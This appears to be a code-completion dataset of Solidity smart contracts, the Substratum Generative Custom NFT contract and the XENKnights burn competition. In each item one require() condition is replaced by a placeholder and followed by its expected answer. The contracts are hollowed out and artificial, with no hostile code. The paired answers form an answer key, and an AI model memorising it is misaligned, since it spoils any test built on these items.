* @dev the onlyAuthorized modifier used to check authorization.
*/
/**
* @notice pauseMint is a safeguard that pauses mint (only artist can unpause).
* @dev onlyAuhtorized modifier gates access.
*/
function pauseMint()
external
onlyAuthorized
{
}
/**
* @notice setMinterAddress sets/updates the project's approved minting address.
* @dev minter can be a any type of account.
* @param _minterAddress is the new account to be set as the minter.
*/
function setMinterAddress(
address _minterAddress
)
external
onlyAuthorized
{
}
/**
* @notice writeProjectData allows storage of the generative script on-chain.
* @dev This will store the generative script needed to reproduce Substratum_Generative_Custom
* tokens, along with other information and instructions. Vanilla JavaScript
* and p5.js v1.0.0 are other dependencies.
* @param _index identifies where the script data should be stored.
* @param _newScript is the new script data.
*/
function writeProjectData(
uint256 _index,
string memory _newScript
)
external
onlyAuthorized
{
}
/**
* @notice withdraw is used to send funds to the payments addresses.
* @dev Withdraw cannot be called if the payments addresses are not set.
*/
function withdraw()
external
onlyAuthorized
{
}
/**
* PLATFORM CONTROLS
* @notice These are contract-level controls.
* @dev all should use the onlyOwner modifier.
*/
/**
* @notice lockScripts freezes the projectData storage.
* @dev The project must be fully minted before this function is callable.
*/
function lockScripts()
external
onlyOwner
{
require(<FILL_ME>)
projectLocked = true;
}
/**
* @notice setPrimaryData supplies information needed for splitting mint funds.
* @dev This must be set prior to withdrawl function use.
* @param _artistAddress is the new artist address.
* @param _platformAddress is the new platform address.
* @param _platformBPS is the platform fee amount, measured in base
* percentage points.
*/
function setPrimaryData(
address _artistAddress,
address _platformAddress,
uint96 _platformBPS
)
external
onlyOwner
{
}
/**
* @notice setSecondaryData updates the royalty address and BPS for the project.
* @dev This function allows changes to the payments address and secondary sale
* royalty amount. After setting values, _setDefaultRoyalty is called in
* order to update the imported EIP-2981 contract functions.
* @param _secondaryAddress is the new payments address.
* @param _royaltyBPS is the new projet royalty amount, measured in
* base percentage points.
*/
function setSecondaryData(
address _secondaryAddress,
uint96 _royaltyBPS
)
external
onlyOwner
{
}
/**
* @notice setURI sets/updates the project's baseURI.
* @dev baseURI is appended with tokenId and is returned in tokenURI calls.
* @dev _newBaseURI is used instead of _baseURI because an override function
* with that name already exists.
* @param _newBaseURI is the API endpoint base for tokenURI calls.
*/
function setURI(
string memory _newBaseURI
)
external
onlyOwner
{
}
/**
* INTERNAL FUNCTIONS
* @notice these are helper functions that can only be called from within
* this contract.
*/
/**
* @notice _minter is the internal function that generates mints.
* @dev Minting function called by the public 'mintToAddress' function.
* The artist can bypass the payment requirement.
* @param _to is the address to send the token to.
*/
function _minter(
address _to
)
internal
{
}
/**
* @notice _assignDecimalEntropy generates the token's decimal entropy.
* @dev This creates a series of digits used as token entropy, created
* from various data inputs. Even with concurrent mints in a single block,
* each _tokenId will be unique, resulting in unique hashes.
* @param _tokenId is the token that the data will get assigned to.
*/
function _assignDecimalEntropy(
uint256 _tokenId
)
internal
{
}
}
| tokensMinted.current()==maxSupply | 62,208 | tokensMinted.current()==maxSupply |
"All minted." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/**
* @title Substratum Generative Custom v1.2
* @notice This is a customized ERC-721 contract for Substratum Generative Custom.
* @author Matto
* @custom:security-contact [email protected]
*/
contract Substratum_Generative_Custom is ERC721Royalty, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
using Strings for string;
Counters.Counter public tokensMinted;
string public baseURI;
string public description;
bool public projectLocked;
uint8 public mintStage;
uint16 public maxSupply = 65535;
uint96 private platformBPS;
uint96 private royaltyBPS;
uint256 public mintFee;
mapping(uint256 => string) public projectData;
mapping(uint256 => string) public customDataOf;
mapping(uint256 => uint256) public tokenEntropyOf;
mapping(uint256 => uint256) public transferCountOf;
address private artistAddress;
address private minterAddress;
address private platformAddress;
address private secondaryAddress; // Payment Splitter Contract
constructor() ERC721("Substratum Generative Custom", "SGC") {}
/**
* CUSTOM EVENTS
* @notice These events are watched by the substratum.art platform.
* @dev These will be monitored by the custom backend. They will trigger
* updating the API with data stored in projectData, as well as data returned
* by the scriptInputsOf() function.
*/
/**
* @notice The ProjectData event is emitted from writeProjectData function.
* @dev indexed keyword is added to scriptIndex for searchability.
* @param scriptIndex is index in the mapping that is being updated.
* @param oldScript is the data being replaced, potentially "".
* @param newScript is the new data stored to chain.
*/
event ProjectData(
uint256 indexed scriptIndex,
string oldScript,
string newScript
);
/**
* @notice The TokenUpdated event is emitted from multiple functions that
* that affect the rendering of traits/image of the token.
* @dev indexed keyword is added to tokeId for searchability.
* @param tokenId is the token that is being updated.
* @param data is the new data regarding the change.
*/
event TokenUpdated(
uint256 indexed tokenId,
string data
);
/**
* MODIFIERS
* @notice These are reusable code to control function execution.
*/
/**
* @notice onlyMinters modifier controls accounts that can mint.
* @dev This modifier will only allow transactions from the minter or
* artist accounts.
*/
modifier onlyMinters() {
}
/**
* @notice onlyArtist restricts functions to the artist.
*/
modifier onlyArtist()
{
}
/**
* @notice onlyAuthorized restricts functions to the three accounts stored
* on the contract, the owner, the artist, and the platform.
*/
modifier onlyAuthorized()
{
}
/**
* OVERRIDE FUNCTIONS
* @notice These functions are declared as overrides because functions of the
* same name exist in imported contracts.
* @dev 'super._transfer' calls the overridden function.
*/
/**
* @notice _baseURI is an internal function that returns a state value.
* @dev This override is needed when using a custom baseURI.
* @return baseURI, which is a state value.
*/
function _baseURI()
internal
view
override
returns (string memory)
{
}
/**
* @notice _transfer override adds logic to track transfer counts as well as
* the prior owner.
* @dev This override updates mappings and then calls the overridden function.
* @param _from is the address the token is being sent from.
* @param _to is the address the token is being sent to.
* @param _tokenId is the token being transferred.
*/
function _transfer(
address _from,
address _to,
uint256 _tokenId
)
internal
virtual
override
{
}
/**
* RECEIVING FUNCTIONS
* @notice These functions are required for the contract to be able to
* receive Ether.
*/
/**
* @dev The receive() function receives Ether when msg.data is empty.
* @dev The fallback() function receives Ether when msg.data is not empty.
*/
receive() external payable {}
fallback() external payable {}
/**
* CUSTOM VIEW FUNCTIONS
* @notice These are custom view functions implemented for efficiency.
*/
/**
* @notice getAddresses returns all addresses and fee BPS details.
* @dev These state variables are private to reduce contract file size
* and to make it more efficient to check all addresses.
*/
function getAddresses()
external
view
returns (string memory)
{
}
/**
* @notice scriptInputsOf returns the input data necessary for the generative
* script to create/recreate a Substratum_Generative_Custom token.
* @dev For any given token, this function returns all the on-chain data that
* is needed to be inputted into the generative script to deterministically
* reproduce both the token's artwork and metadata.
* @dev entropyString is set outside of the return to standardize this code.
* @param _tokenId is the token whose inputs will be returned.
* @return scriptInputs are returned in JSON format.
*/
function scriptInputsOf(
uint256 _tokenId
)
external
view
returns (string memory)
{
}
/**
* OWNER CONTROLS
* @notice These functions have various levels of owner control mechanisms in
* place, and can have artist or platform overrides.
* @dev All functions should use appropriate 'msg.sender == address' checks.
*/
/**
* @notice setCustomData allows token owners to update information stored
* on-chain.
* @dev artist is given access to assist owners for their safety.
* @param _tokenId is the token to update.
* @param _customData is the new data that is being stored.
*/
function setCustomData(
uint256 _tokenId,
string memory _customData
)
external
{
}
/**
* ARTIST CONTROLS
* @notice These functions have various levels of artist-only control
* mechanisms in place.
* @dev All functions should use onlyArtist modifier.
*/
/**
* @notice lowerMaxSupply allows changes to the maximum iteration count,
* a value that is checked against during mint.
* @dev This function will only update the maxSupply variable if the
* submitted value is lower. maxSupply is used in the internal _minter
* function to cap the number of available tokens.
* @param _maxSupply is the new maximum supply.
*/
function lowerMaxSupply(
uint16 _maxSupply
)
external
onlyArtist
{
}
/**
* @notice setMintStage sets the stage of the mint.
* @dev This is used instead of public view booleans to save contract size.
* @param _mintStage is the new stage for the mint: 0 for disabled, 1 for
* public mint (following logic: 0-false, 1-true).
* Other stages may be added as 2, 3, etc.
*/
function setMintStage(
uint8 _mintStage
)
external
onlyArtist
{
}
/**
* @notice setMintFee sets the price per mint.
* @dev This function allows changes to the payment amount that is required
* for minting.
* @param _mintFee is the cost per mint in Wei.
*/
function setMintFee(
uint256 _mintFee
)
external
onlyArtist
{
}
/**
* @notice setDescription updates the on-chain description.
* @dev This is separate from other update functions because the description
* size may be large and thus expensive to update.
* @param _description is the new description. Quotation marks are not needed.
*/
function setDescription(
string memory _description
)
external
onlyArtist
{
}
/**
* @notice mintToAddress can only be called by the artist and the minter
* account, and it mints to a specified address.
* @dev Variation of a mint function that uses a submitted address as the
* account to mint to. The artist account can bypass the publicMintActive
* requirement.
* @param _to is the address to send the token to.
*/
function mintToAddress(
address _to
)
external
payable
nonReentrant
onlyMinters
{
}
/**
* ARTIST AND PLATFORM CONTROLS
* @notice functions can be called by both the artist and platform address.
* @dev the onlyAuthorized modifier used to check authorization.
*/
/**
* @notice pauseMint is a safeguard that pauses mint (only artist can unpause).
* @dev onlyAuhtorized modifier gates access.
*/
function pauseMint()
external
onlyAuthorized
{
}
/**
* @notice setMinterAddress sets/updates the project's approved minting address.
* @dev minter can be a any type of account.
* @param _minterAddress is the new account to be set as the minter.
*/
function setMinterAddress(
address _minterAddress
)
external
onlyAuthorized
{
}
/**
* @notice writeProjectData allows storage of the generative script on-chain.
* @dev This will store the generative script needed to reproduce Substratum_Generative_Custom
* tokens, along with other information and instructions. Vanilla JavaScript
* and p5.js v1.0.0 are other dependencies.
* @param _index identifies where the script data should be stored.
* @param _newScript is the new script data.
*/
function writeProjectData(
uint256 _index,
string memory _newScript
)
external
onlyAuthorized
{
}
/**
* @notice withdraw is used to send funds to the payments addresses.
* @dev Withdraw cannot be called if the payments addresses are not set.
*/
function withdraw()
external
onlyAuthorized
{
}
/**
* PLATFORM CONTROLS
* @notice These are contract-level controls.
* @dev all should use the onlyOwner modifier.
*/
/**
* @notice lockScripts freezes the projectData storage.
* @dev The project must be fully minted before this function is callable.
*/
function lockScripts()
external
onlyOwner
{
}
/**
* @notice setPrimaryData supplies information needed for splitting mint funds.
* @dev This must be set prior to withdrawl function use.
* @param _artistAddress is the new artist address.
* @param _platformAddress is the new platform address.
* @param _platformBPS is the platform fee amount, measured in base
* percentage points.
*/
function setPrimaryData(
address _artistAddress,
address _platformAddress,
uint96 _platformBPS
)
external
onlyOwner
{
}
/**
* @notice setSecondaryData updates the royalty address and BPS for the project.
* @dev This function allows changes to the payments address and secondary sale
* royalty amount. After setting values, _setDefaultRoyalty is called in
* order to update the imported EIP-2981 contract functions.
* @param _secondaryAddress is the new payments address.
* @param _royaltyBPS is the new projet royalty amount, measured in
* base percentage points.
*/
function setSecondaryData(
address _secondaryAddress,
uint96 _royaltyBPS
)
external
onlyOwner
{
}
/**
* @notice setURI sets/updates the project's baseURI.
* @dev baseURI is appended with tokenId and is returned in tokenURI calls.
* @dev _newBaseURI is used instead of _baseURI because an override function
* with that name already exists.
* @param _newBaseURI is the API endpoint base for tokenURI calls.
*/
function setURI(
string memory _newBaseURI
)
external
onlyOwner
{
}
/**
* INTERNAL FUNCTIONS
* @notice these are helper functions that can only be called from within
* this contract.
*/
/**
* @notice _minter is the internal function that generates mints.
* @dev Minting function called by the public 'mintToAddress' function.
* The artist can bypass the payment requirement.
* @param _to is the address to send the token to.
*/
function _minter(
address _to
)
internal
{
require(
msg.value == mintFee || msg.sender == artistAddress,
"Incorrect value."
);
require(<FILL_ME>)
uint256 tokenId = tokensMinted.current();
tokensMinted.increment();
_assignDecimalEntropy(tokenId);
_safeMint(_to, tokenId);
}
/**
* @notice _assignDecimalEntropy generates the token's decimal entropy.
* @dev This creates a series of digits used as token entropy, created
* from various data inputs. Even with concurrent mints in a single block,
* each _tokenId will be unique, resulting in unique hashes.
* @param _tokenId is the token that the data will get assigned to.
*/
function _assignDecimalEntropy(
uint256 _tokenId
)
internal
{
}
}
| tokensMinted.current()<maxSupply,"All minted." | 62,208 | tokensMinted.current()<maxSupply |
'XenKnights: illegal taprootAddress length' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@faircrypto/xen-crypto/contracts/XENCrypto.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./libs/Strings.sol";
/*
Sorting in Ethereum
https://medium.com/bandprotocol/solidity-102-3-maintaining-sorted-list-1edd0a228d83 [*]
https://stackoverflow.com/questions/64661313/descending-quicksort-in-solidity
https://gist.github.com/fiveoutofnine/5140b17f6185aacb71fc74d3a315a9da
*/
contract XENKnights is IBurnRedeemable, Ownable, ERC165 {
enum Status {
Waiting,
InProgress,
Final, // leaderboard loaded
Ended, // XEN burned for leaders
Canceled // in case shit happens
}
using Strings for uint256;
// PUBLIC CONSTANTS
string public constant AUTHORS = "@MrJackLevin @ackebom @lbelyaev faircrypto.org";
uint256 public constant SECS_IN_DAY = 3_600 * 24;
// common business logic
uint256 public constant MAX_WINNERS = 100;
// PUBLIC MUTABLE STATE
uint256 public totalPlayers;
uint256 public totalToBurn;
Status public status;
// taproot address => total bid amount
mapping(bytes32 => uint256) public amounts;
// user address => taproot address => total bid amount
mapping(address => mapping(bytes32 => uint256)) public userAmounts;
bytes32[] public leaders;
// PUBLIC IMMUTABLE STATE
uint256 public immutable startTs;
uint256 public immutable endTs;
// pointer to XEN Stake contract
IERC20 public immutable xenCrypto;
// CONSTRUCTOR
constructor(address xenCrypto_, uint256 startTs_, uint256 durationDays_) {
}
// EVENTS
event StatusChanged(Status status, uint256 ts);
event Admitted(address indexed user, string taprootAddress, uint256 amount, uint256 totalAmount);
event Withdrawn(address indexed user, string taprootAddress, uint256 amount);
event Burned(uint256 amount);
// IERC-165
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
// PRIVATE HELPERS
function _canEnter(uint256 amount, string calldata taprootAddress) private view {
require(msg.sender == tx.origin, 'XenKnights: only EOAs allowed');
require(block.timestamp > startTs, 'XenKnights: competition not yet started');
require(block.timestamp < endTs, 'XenKnights: competition already finished');
require(status < Status.Final, 'XenKnights: competition not in progress');
require(amount > 0, 'XenKnights: illegal amount');
require(<FILL_ME>)
require(
_compareStr(string(bytes(taprootAddress)[0:4]), 'bc1p'),
'XenKnights: illegal taprootAddress signature'
);
}
function _canWithdraw(string calldata taprootAddress, bytes32 hash) private view {
}
function _canBurn() private view {
}
function _compareStr(string memory one, string memory two) private pure returns (bool) {
}
function _compare(bytes32 one, bytes32 two) private pure returns (bool) {
}
// PUBLIC READ INTERFACE
/**
* @dev Returns `count` first tokenIds by lowest amount
*/
function leaderboard(uint256)
external
view
returns (bytes32[] memory data)
{
}
// ADMIN INTERFACE
function loadLeaders(bytes32[] calldata taprootAddresses) external onlyOwner {
}
// PRIVATE HELPERS
/**
* @dev Attempt to enter competition based on eligible XEN Stake identified by `tokenId`
* @dev Additionally, `taprootAddress` is supplied and stored along with tokenId
*/
function enterCompetition(uint256 newAmount, string calldata taprootAddress_) external {
}
function withdraw(string calldata taprootAddress_) external {
}
function onTokenBurned(address user, uint256 amount) external {
}
function burn() external {
}
}
| bytes(taprootAddress).length==62,'XenKnights: illegal taprootAddress length' | 62,216 | bytes(taprootAddress).length==62 |
'XenKnights: illegal taprootAddress signature' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@faircrypto/xen-crypto/contracts/XENCrypto.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./libs/Strings.sol";
/*
Sorting in Ethereum
https://medium.com/bandprotocol/solidity-102-3-maintaining-sorted-list-1edd0a228d83 [*]
https://stackoverflow.com/questions/64661313/descending-quicksort-in-solidity
https://gist.github.com/fiveoutofnine/5140b17f6185aacb71fc74d3a315a9da
*/
contract XENKnights is IBurnRedeemable, Ownable, ERC165 {
enum Status {
Waiting,
InProgress,
Final, // leaderboard loaded
Ended, // XEN burned for leaders
Canceled // in case shit happens
}
using Strings for uint256;
// PUBLIC CONSTANTS
string public constant AUTHORS = "@MrJackLevin @ackebom @lbelyaev faircrypto.org";
uint256 public constant SECS_IN_DAY = 3_600 * 24;
// common business logic
uint256 public constant MAX_WINNERS = 100;
// PUBLIC MUTABLE STATE
uint256 public totalPlayers;
uint256 public totalToBurn;
Status public status;
// taproot address => total bid amount
mapping(bytes32 => uint256) public amounts;
// user address => taproot address => total bid amount
mapping(address => mapping(bytes32 => uint256)) public userAmounts;
bytes32[] public leaders;
// PUBLIC IMMUTABLE STATE
uint256 public immutable startTs;
uint256 public immutable endTs;
// pointer to XEN Stake contract
IERC20 public immutable xenCrypto;
// CONSTRUCTOR
constructor(address xenCrypto_, uint256 startTs_, uint256 durationDays_) {
}
// EVENTS
event StatusChanged(Status status, uint256 ts);
event Admitted(address indexed user, string taprootAddress, uint256 amount, uint256 totalAmount);
event Withdrawn(address indexed user, string taprootAddress, uint256 amount);
event Burned(uint256 amount);
// IERC-165
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
// PRIVATE HELPERS
function _canEnter(uint256 amount, string calldata taprootAddress) private view {
require(msg.sender == tx.origin, 'XenKnights: only EOAs allowed');
require(block.timestamp > startTs, 'XenKnights: competition not yet started');
require(block.timestamp < endTs, 'XenKnights: competition already finished');
require(status < Status.Final, 'XenKnights: competition not in progress');
require(amount > 0, 'XenKnights: illegal amount');
require(bytes(taprootAddress).length == 62, 'XenKnights: illegal taprootAddress length');
require(<FILL_ME>)
}
function _canWithdraw(string calldata taprootAddress, bytes32 hash) private view {
}
function _canBurn() private view {
}
function _compareStr(string memory one, string memory two) private pure returns (bool) {
}
function _compare(bytes32 one, bytes32 two) private pure returns (bool) {
}
// PUBLIC READ INTERFACE
/**
* @dev Returns `count` first tokenIds by lowest amount
*/
function leaderboard(uint256)
external
view
returns (bytes32[] memory data)
{
}
// ADMIN INTERFACE
function loadLeaders(bytes32[] calldata taprootAddresses) external onlyOwner {
}
// PRIVATE HELPERS
/**
* @dev Attempt to enter competition based on eligible XEN Stake identified by `tokenId`
* @dev Additionally, `taprootAddress` is supplied and stored along with tokenId
*/
function enterCompetition(uint256 newAmount, string calldata taprootAddress_) external {
}
function withdraw(string calldata taprootAddress_) external {
}
function onTokenBurned(address user, uint256 amount) external {
}
function burn() external {
}
}
| _compareStr(string(bytes(taprootAddress)[0:4]),'bc1p'),'XenKnights: illegal taprootAddress signature' | 62,216 | _compareStr(string(bytes(taprootAddress)[0:4]),'bc1p') |
'XenKnights: nothing to withdraw' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@faircrypto/xen-crypto/contracts/XENCrypto.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./libs/Strings.sol";
/*
Sorting in Ethereum
https://medium.com/bandprotocol/solidity-102-3-maintaining-sorted-list-1edd0a228d83 [*]
https://stackoverflow.com/questions/64661313/descending-quicksort-in-solidity
https://gist.github.com/fiveoutofnine/5140b17f6185aacb71fc74d3a315a9da
*/
contract XENKnights is IBurnRedeemable, Ownable, ERC165 {
enum Status {
Waiting,
InProgress,
Final, // leaderboard loaded
Ended, // XEN burned for leaders
Canceled // in case shit happens
}
using Strings for uint256;
// PUBLIC CONSTANTS
string public constant AUTHORS = "@MrJackLevin @ackebom @lbelyaev faircrypto.org";
uint256 public constant SECS_IN_DAY = 3_600 * 24;
// common business logic
uint256 public constant MAX_WINNERS = 100;
// PUBLIC MUTABLE STATE
uint256 public totalPlayers;
uint256 public totalToBurn;
Status public status;
// taproot address => total bid amount
mapping(bytes32 => uint256) public amounts;
// user address => taproot address => total bid amount
mapping(address => mapping(bytes32 => uint256)) public userAmounts;
bytes32[] public leaders;
// PUBLIC IMMUTABLE STATE
uint256 public immutable startTs;
uint256 public immutable endTs;
// pointer to XEN Stake contract
IERC20 public immutable xenCrypto;
// CONSTRUCTOR
constructor(address xenCrypto_, uint256 startTs_, uint256 durationDays_) {
}
// EVENTS
event StatusChanged(Status status, uint256 ts);
event Admitted(address indexed user, string taprootAddress, uint256 amount, uint256 totalAmount);
event Withdrawn(address indexed user, string taprootAddress, uint256 amount);
event Burned(uint256 amount);
// IERC-165
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
// PRIVATE HELPERS
function _canEnter(uint256 amount, string calldata taprootAddress) private view {
}
function _canWithdraw(string calldata taprootAddress, bytes32 hash) private view {
require(msg.sender == tx.origin, 'XenKnights: only EOAs allowed');
require(block.timestamp > endTs, 'XenKnights: competition not yet finished');
require(status > Status.InProgress, 'XenKnights: competition still in progress');
require(bytes(taprootAddress).length == 62, 'XenKnights: illegal taprootAddress length');
require(
_compareStr(string(bytes(taprootAddress)[0:4]), 'bc1p'),
'XenKnights: illegal taprootAddress signature'
);
require(<FILL_ME>)
require(amounts[hash] > 0, 'XenKnights: winner cannot withdraw');
}
function _canBurn() private view {
}
function _compareStr(string memory one, string memory two) private pure returns (bool) {
}
function _compare(bytes32 one, bytes32 two) private pure returns (bool) {
}
// PUBLIC READ INTERFACE
/**
* @dev Returns `count` first tokenIds by lowest amount
*/
function leaderboard(uint256)
external
view
returns (bytes32[] memory data)
{
}
// ADMIN INTERFACE
function loadLeaders(bytes32[] calldata taprootAddresses) external onlyOwner {
}
// PRIVATE HELPERS
/**
* @dev Attempt to enter competition based on eligible XEN Stake identified by `tokenId`
* @dev Additionally, `taprootAddress` is supplied and stored along with tokenId
*/
function enterCompetition(uint256 newAmount, string calldata taprootAddress_) external {
}
function withdraw(string calldata taprootAddress_) external {
}
function onTokenBurned(address user, uint256 amount) external {
}
function burn() external {
}
}
| userAmounts[msg.sender][hash]>0,'XenKnights: nothing to withdraw' | 62,216 | userAmounts[msg.sender][hash]>0 |
'XenKnights: winner cannot withdraw' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@faircrypto/xen-crypto/contracts/XENCrypto.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./libs/Strings.sol";
/*
Sorting in Ethereum
https://medium.com/bandprotocol/solidity-102-3-maintaining-sorted-list-1edd0a228d83 [*]
https://stackoverflow.com/questions/64661313/descending-quicksort-in-solidity
https://gist.github.com/fiveoutofnine/5140b17f6185aacb71fc74d3a315a9da
*/
contract XENKnights is IBurnRedeemable, Ownable, ERC165 {
enum Status {
Waiting,
InProgress,
Final, // leaderboard loaded
Ended, // XEN burned for leaders
Canceled // in case shit happens
}
using Strings for uint256;
// PUBLIC CONSTANTS
string public constant AUTHORS = "@MrJackLevin @ackebom @lbelyaev faircrypto.org";
uint256 public constant SECS_IN_DAY = 3_600 * 24;
// common business logic
uint256 public constant MAX_WINNERS = 100;
// PUBLIC MUTABLE STATE
uint256 public totalPlayers;
uint256 public totalToBurn;
Status public status;
// taproot address => total bid amount
mapping(bytes32 => uint256) public amounts;
// user address => taproot address => total bid amount
mapping(address => mapping(bytes32 => uint256)) public userAmounts;
bytes32[] public leaders;
// PUBLIC IMMUTABLE STATE
uint256 public immutable startTs;
uint256 public immutable endTs;
// pointer to XEN Stake contract
IERC20 public immutable xenCrypto;
// CONSTRUCTOR
constructor(address xenCrypto_, uint256 startTs_, uint256 durationDays_) {
}
// EVENTS
event StatusChanged(Status status, uint256 ts);
event Admitted(address indexed user, string taprootAddress, uint256 amount, uint256 totalAmount);
event Withdrawn(address indexed user, string taprootAddress, uint256 amount);
event Burned(uint256 amount);
// IERC-165
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
// PRIVATE HELPERS
function _canEnter(uint256 amount, string calldata taprootAddress) private view {
}
function _canWithdraw(string calldata taprootAddress, bytes32 hash) private view {
require(msg.sender == tx.origin, 'XenKnights: only EOAs allowed');
require(block.timestamp > endTs, 'XenKnights: competition not yet finished');
require(status > Status.InProgress, 'XenKnights: competition still in progress');
require(bytes(taprootAddress).length == 62, 'XenKnights: illegal taprootAddress length');
require(
_compareStr(string(bytes(taprootAddress)[0:4]), 'bc1p'),
'XenKnights: illegal taprootAddress signature'
);
require(userAmounts[msg.sender][hash] > 0, 'XenKnights: nothing to withdraw');
require(<FILL_ME>)
}
function _canBurn() private view {
}
function _compareStr(string memory one, string memory two) private pure returns (bool) {
}
function _compare(bytes32 one, bytes32 two) private pure returns (bool) {
}
// PUBLIC READ INTERFACE
/**
* @dev Returns `count` first tokenIds by lowest amount
*/
function leaderboard(uint256)
external
view
returns (bytes32[] memory data)
{
}
// ADMIN INTERFACE
function loadLeaders(bytes32[] calldata taprootAddresses) external onlyOwner {
}
// PRIVATE HELPERS
/**
* @dev Attempt to enter competition based on eligible XEN Stake identified by `tokenId`
* @dev Additionally, `taprootAddress` is supplied and stored along with tokenId
*/
function enterCompetition(uint256 newAmount, string calldata taprootAddress_) external {
}
function withdraw(string calldata taprootAddress_) external {
}
function onTokenBurned(address user, uint256 amount) external {
}
function burn() external {
}
}
| amounts[hash]>0,'XenKnights: winner cannot withdraw' | 62,216 | amounts[hash]>0 |
'XenKnights: nothing to burn' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@faircrypto/xen-crypto/contracts/XENCrypto.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./libs/Strings.sol";
/*
Sorting in Ethereum
https://medium.com/bandprotocol/solidity-102-3-maintaining-sorted-list-1edd0a228d83 [*]
https://stackoverflow.com/questions/64661313/descending-quicksort-in-solidity
https://gist.github.com/fiveoutofnine/5140b17f6185aacb71fc74d3a315a9da
*/
contract XENKnights is IBurnRedeemable, Ownable, ERC165 {
enum Status {
Waiting,
InProgress,
Final, // leaderboard loaded
Ended, // XEN burned for leaders
Canceled // in case shit happens
}
using Strings for uint256;
// PUBLIC CONSTANTS
string public constant AUTHORS = "@MrJackLevin @ackebom @lbelyaev faircrypto.org";
uint256 public constant SECS_IN_DAY = 3_600 * 24;
// common business logic
uint256 public constant MAX_WINNERS = 100;
// PUBLIC MUTABLE STATE
uint256 public totalPlayers;
uint256 public totalToBurn;
Status public status;
// taproot address => total bid amount
mapping(bytes32 => uint256) public amounts;
// user address => taproot address => total bid amount
mapping(address => mapping(bytes32 => uint256)) public userAmounts;
bytes32[] public leaders;
// PUBLIC IMMUTABLE STATE
uint256 public immutable startTs;
uint256 public immutable endTs;
// pointer to XEN Stake contract
IERC20 public immutable xenCrypto;
// CONSTRUCTOR
constructor(address xenCrypto_, uint256 startTs_, uint256 durationDays_) {
}
// EVENTS
event StatusChanged(Status status, uint256 ts);
event Admitted(address indexed user, string taprootAddress, uint256 amount, uint256 totalAmount);
event Withdrawn(address indexed user, string taprootAddress, uint256 amount);
event Burned(uint256 amount);
// IERC-165
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
// PRIVATE HELPERS
function _canEnter(uint256 amount, string calldata taprootAddress) private view {
}
function _canWithdraw(string calldata taprootAddress, bytes32 hash) private view {
}
function _canBurn() private view {
require(block.timestamp > endTs, 'XenKnights: competition still in progress');
require(status > Status.InProgress, 'XenKnights: competition not yet final');
require(status < Status.Ended, 'XenKnights: already burned');
require(<FILL_ME>)
}
function _compareStr(string memory one, string memory two) private pure returns (bool) {
}
function _compare(bytes32 one, bytes32 two) private pure returns (bool) {
}
// PUBLIC READ INTERFACE
/**
* @dev Returns `count` first tokenIds by lowest amount
*/
function leaderboard(uint256)
external
view
returns (bytes32[] memory data)
{
}
// ADMIN INTERFACE
function loadLeaders(bytes32[] calldata taprootAddresses) external onlyOwner {
}
// PRIVATE HELPERS
/**
* @dev Attempt to enter competition based on eligible XEN Stake identified by `tokenId`
* @dev Additionally, `taprootAddress` is supplied and stored along with tokenId
*/
function enterCompetition(uint256 newAmount, string calldata taprootAddress_) external {
}
function withdraw(string calldata taprootAddress_) external {
}
function onTokenBurned(address user, uint256 amount) external {
}
function burn() external {
}
}
| xenCrypto.balanceOf(address(this))>0,'XenKnights: nothing to burn' | 62,216 | xenCrypto.balanceOf(address(this))>0 |
'Admin: winner\'s amount cannot be zero' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@faircrypto/xen-crypto/contracts/XENCrypto.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./libs/Strings.sol";
/*
Sorting in Ethereum
https://medium.com/bandprotocol/solidity-102-3-maintaining-sorted-list-1edd0a228d83 [*]
https://stackoverflow.com/questions/64661313/descending-quicksort-in-solidity
https://gist.github.com/fiveoutofnine/5140b17f6185aacb71fc74d3a315a9da
*/
contract XENKnights is IBurnRedeemable, Ownable, ERC165 {
enum Status {
Waiting,
InProgress,
Final, // leaderboard loaded
Ended, // XEN burned for leaders
Canceled // in case shit happens
}
using Strings for uint256;
// PUBLIC CONSTANTS
string public constant AUTHORS = "@MrJackLevin @ackebom @lbelyaev faircrypto.org";
uint256 public constant SECS_IN_DAY = 3_600 * 24;
// common business logic
uint256 public constant MAX_WINNERS = 100;
// PUBLIC MUTABLE STATE
uint256 public totalPlayers;
uint256 public totalToBurn;
Status public status;
// taproot address => total bid amount
mapping(bytes32 => uint256) public amounts;
// user address => taproot address => total bid amount
mapping(address => mapping(bytes32 => uint256)) public userAmounts;
bytes32[] public leaders;
// PUBLIC IMMUTABLE STATE
uint256 public immutable startTs;
uint256 public immutable endTs;
// pointer to XEN Stake contract
